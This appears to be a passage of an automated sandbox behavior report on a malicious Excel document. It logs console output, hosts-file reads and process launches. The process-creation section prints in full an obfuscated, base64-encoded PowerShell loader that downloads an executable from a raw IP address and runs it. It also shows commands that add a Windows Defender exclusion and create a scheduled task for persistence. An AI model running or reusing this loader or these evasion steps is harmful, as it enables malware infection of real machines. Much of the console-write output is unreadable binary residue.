Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .S.t.r.i.n.g.). .[.].,. .C.o.m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...........N.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..!..................................... N......}..w.............-Z........l......Y.....(.P.......................!.....l.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ ....... N......}..w.............-Z........l......Y.....(.P.....................................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................ N..............0.'pu....W......}..w............@E......^...............(.P.....................8...............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................ N..................u....W......}..w............@E......^...............(.P.....................8...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................hb.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................tb.........................s..............".............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................b.........................s............................X...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................b.........................s..............".............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................b.........................s............................X...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................b.........................s..............".............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................a.g.a.i.n................................b.........................s..............".............X...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................b.........................s..............".............X...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1..........b.........................s.............."..... .......X...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................b.........................s..............".............X...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................b.........................s............................X...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................c.........................s..............".............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~......c.........................s..............".....$.......X...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................)c.........................s..............".............X...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................;c.........................s............................X...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................Gc.........................s..............".............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n..................s..............".....2.......X...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................ec.........................s..............".............X...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................wc.........................s....................l.......X...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................c.........................s..............".............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P..............................c.........................s..............".............X...............	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................c.........................s..............".............X...............	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Console Write: ........................................(.P..............................`................................................................&.....
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P........................................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P........................................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P........................................................s............................(...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P............................. ..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................P.......3..........................s............................(...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................P.......?..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................a.g.a.i.n.......................P.......S..........................s............................(...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................P......._..........................s............................(...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.P.......q..........................s.................... .......(...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................P.......~..........................s............................(...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................P..................................s............................(...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................P..................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~................................s....................$.......(...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................P..................................s............................(...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................P..................................s............................(...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................P..................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n..................s....................2.......(...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................P..................................s............................(...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................P..................................s....................l.......(...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................P..................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P.....................P.......+..........................s............................(...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................P.......8..........................s............................(...............
Source: C:\Windows\SysWOW64\schtasks.exe	Console Write: ................................E.R.R.O.R.:. ........... ...............Kr......................................................................
Source: C:\Windows\SysWOW64\schtasks.exe	Console Write: ................................E.R.R.O.(.P............. ...............Rr..............................................j.........&.............

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sihost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\sihost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\sihost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\sihost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\sihost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\sihost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\sihost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\sihost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\sihost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\sihost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\sihost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\sihost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\sihost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\sihost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\sihost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\sihost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\sihost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\sihost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\sihost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\sihost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\sihost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\sihost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\sihost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\sihost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\sihost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\sihost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\sihost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\sihost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\sihost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\sihost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\sihost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\sihost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\sihost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\sihost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\sihost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\sihost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe -Embedding
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C POWERShELL.eXE -Ex bYPasS -nOP -W 1 -c DevIcECRedENTIaLdePlOYmENT.EXE ; ieX($(IEX('[SyStEm.TEXT.eNcODinG]'+[char]58+[cHaR]0x3a+'UTf8.gEtsTriNG([sYSTeM.COnVErT]'+[cHar]58+[CHAr]0X3A+'FrOMbaSE64stRING('+[chAr]0x22+'JFQyNWd0Zm90RXVTICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtVFlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJlckRlRmlOSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxNb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0NsdUJFTW8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0lVLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNuLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSUdqRCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJZVnZGVnlSdE4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtZVNwQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsa3lrV0RleGggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRUMjVndGZvdEV1Uzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xMzgvNDAvc2lob3N0LmV4ZSIsIiRFblY6QVBQREFUQVxzaWhvc3QuZXhlIiwwLDApO1N0YVJULVNMZUVwKDMpO1N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXHNpaG9zdC5leGUi'+[chAr]34+'))')))"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWERShELL.eXE -Ex bYPasS -nOP -W 1 -c DevIcECRedENTIaLdePlOYmENT.EXE ; ieX($(IEX('[SyStEm.TEXT.eNcODinG]'+[char]58+[cHaR]0x3a+'UTf8.gEtsTriNG([sYSTeM.COnVErT]'+[cHar]58+[CHAr]0X3A+'FrOMbaSE64stRING('+[chAr]0x22+'JFQyNWd0Zm90RXVTICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtVFlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJlckRlRmlOSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxNb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0NsdUJFTW8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0lVLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNuLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSUdqRCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJZVnZGVnlSdE4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtZVNwQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsa3lrV0RleGggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRUMjVndGZvdEV1Uzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xMzgvNDAvc2lob3N0LmV4ZSIsIiRFblY6QVBQREFUQVxzaWhvc3QuZXhlIiwwLDApO1N0YVJULVNMZUVwKDMpO1N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXHNpaG9zdC5leGUi'+[chAr]34+'))')))"
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" -Embedding
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\d1xzy0xm\d1xzy0xm.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4D56.tmp" "c:\Users\user\AppData\Local\Temp\d1xzy0xm\CSCCF15997BD6B546CEB43AF983F4CD5CA2.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\sihost.exe "C:\Users\user\AppData\Roaming\sihost.exe"
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\bKVNuVuE.exe"
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\bKVNuVuE" /XML "C:\Users\user\AppData\Local\Temp\tmp8AF2.tmp"
Source: C:\Users\user\AppData\Roaming\sihost.exe	Process created: C:\Users\user\AppData\Roaming\sihost.exe "C:\Users\user\AppData\Roaming\sihost.exe"
Source: unknown	Process created: C:\Windows\System32\taskeng.exe taskeng.exe {6C210698-E638-4D51-B8D8-9F29DBC70A32} S-1-5-21-966771315-3019405637-367336477-1006:user-PC\user:Interactive:[1]
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Users\user\AppData\Roaming\bKVNuVuE.exe C:\Users\user\AppData\Roaming\bKVNuVuE.exe
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\bKVNuVuE.exe"
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\bKVNuVuE" /XML "C:\Users\user\AppData\Local\Temp\tmpA3FD.tmp"
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process created: C:\Users\user\AppData\Roaming\bKVNuVuE.exe "C:\Users\user\AppData\Roaming\bKVNuVuE.exe"
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process created: C:\Users\user\AppData\Roaming\bKVNuVuE.exe "C:\Users\user\AppData\Roaming\bKVNuVuE.exe"
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process created: C:\Users\user\AppData\Roaming\bKVNuVuE.exe "C:\Users\user\AppData\Roaming\bKVNuVuE.exe"
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process created: C:\Users\user\AppData\Roaming\bKVNuVuE.exe "C:\Users\user\AppData\Roaming\bKVNuVuE.exe"
Source: C:\Users\user\AppData\Roaming\bKVNuVuE.exe	Process created: C:\Users\user\AppData\Roaming\bKVNuVuE.exe "C:\Users\user\AppData\Roaming\bKVNuVuE.exe"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C POWERShELL.eXE -Ex bYPasS -nOP -W 1 -c DevIcECRedENTIaLdePlOYmENT.EXE ; ieX($(IEX('[SyStEm.TEXT.eNcODinG]'+[char]58+[cHaR]0x3a+'UTf8.gEtsTriNG([sYSTeM.COnVErT]'+[cHar]58+[CHAr]0X3A+'FrOMbaSE64stRING('+[chAr]0x22+'JFQyNWd0Zm90RXVTICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtVFlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJlckRlRmlOSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxNb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0NsdUJFTW8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0lVLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNuLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSUdqRCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJZVnZGVnlSdE4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtZVNwQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsa3lrV0RleGggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRUMjVndGZvdEV1Uzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xMzgvNDAvc2lob3N0LmV4ZSIsIiRFblY6QVBQREFUQVxzaWhvc3QuZXhlIiwwLDApO1N0YVJULVNMZUVwKDMpO1N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXHNpaG9zdC5leGUi'+[chAr]34+'))')))"	Jump to behavior
